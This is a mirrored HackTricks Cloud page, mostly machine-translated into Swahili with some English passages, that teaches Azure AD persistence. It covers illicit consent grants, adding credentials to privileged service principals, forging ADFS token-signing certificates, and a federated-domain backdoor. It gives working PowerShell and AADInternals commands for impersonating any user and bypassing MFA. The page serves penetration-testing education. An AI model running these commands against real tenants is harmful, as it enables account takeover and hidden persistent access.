mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-14 22:03:11 -08:00
59 lines
3.1 KiB
Markdown
59 lines
3.1 KiB
Markdown
# Az - Persistence
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
### Illicit Consent Grant
|
|
|
|
Kwa default, mtumiaji yeyote anaweza kujiandikisha programu katika Azure AD. Hivyo unaweza kujiandikisha programu (tu kwa ajili ya mpangilio wa lengo) inayohitaji ruhusa zenye athari kubwa kwa idhini ya admin (na kuidhinisha ikiwa wewe ni admin) - kama kutuma barua pepe kwa niaba ya mtumiaji, usimamizi wa majukumu n.k. Hii itaturuhusu **kutekeleza mashambulizi ya phishing** ambayo yatakuwa na **faida** kubwa endapo yatakuwa na mafanikio.
|
|
|
|
Zaidi ya hayo, unaweza pia kukubali programu hiyo kwa mtumiaji wako kama njia ya kudumisha ufikiaji juu yake.
|
|
|
|
### Applications and Service Principals
|
|
|
|
Kwa ruhusa za Msimamizi wa Programu, GA au jukumu la kawaida lenye ruhusa microsoft.directory/applications/credentials/update, tunaweza kuongeza akreditivu (siri au cheti) kwa programu iliyopo.
|
|
|
|
Inawezekana **kulenga programu yenye ruhusa kubwa** au **kuongeza programu mpya** yenye ruhusa kubwa.
|
|
|
|
Jukumu la kuvutia kuongeza kwenye programu ingekuwa **jukumu la msimamizi wa uthibitishaji mwenye ruhusa** kwani inaruhusu **kurekebisha nenosiri** la Wasimamizi wa Kimataifa.
|
|
|
|
Teknolojia hii pia inaruhusu **kuzidi MFA**.
|
|
```powershell
|
|
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
|
|
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
|
|
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
|
|
```
|
|
- Kwa uthibitisho wa msingi wa cheti
|
|
```powershell
|
|
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
|
|
```
|
|
### Federation - Token Signing Certificate
|
|
|
|
With **DA privileges** on on-prem AD, it is possible to create and import **new Token signing** and **Token Decrypt certificates** that have a very long validity. This will allow us to **log-in as any user** whose ImuutableID we know.
|
|
|
|
**Run** the below command as **DA on the ADFS server(s)** to create new certs (default password 'AADInternals'), add them to ADFS, disable auto rollver and restart the service:
|
|
```powershell
|
|
New-AADIntADFSSelfSignedCertificates
|
|
```
|
|
Kisha, sasisha taarifa za cheti na Azure AD:
|
|
```powershell
|
|
Update-AADIntADFSFederationSettings -Domain cyberranges.io
|
|
```
|
|
### Federation - Trusted Domain
|
|
|
|
Kwa kuwa na haki za GA kwenye mpangilio, inawezekana **kuongeza eneo jipya** (lazima liwe limehakikishwa), kuunda aina yake ya uthibitishaji kuwa ya Shirikisho na kuunda eneo hilo **kuamini cheti maalum** (any.sts katika amri iliyo hapa chini) na mtoaji:
|
|
```powershell
|
|
# Using AADInternals
|
|
ConvertTo-AADIntBackdoor -DomainName cyberranges.io
|
|
|
|
# Get ImmutableID of the user that we want to impersonate. Using Msol module
|
|
Get-MsolUser | select userPrincipalName,ImmutableID
|
|
|
|
# Access any cloud app as the user
|
|
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true
|
|
```
|
|
## Marejeo
|
|
|
|
- [https://aadinternalsbackdoor.azurewebsites.net/](https://aadinternalsbackdoor.azurewebsites.net/)
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|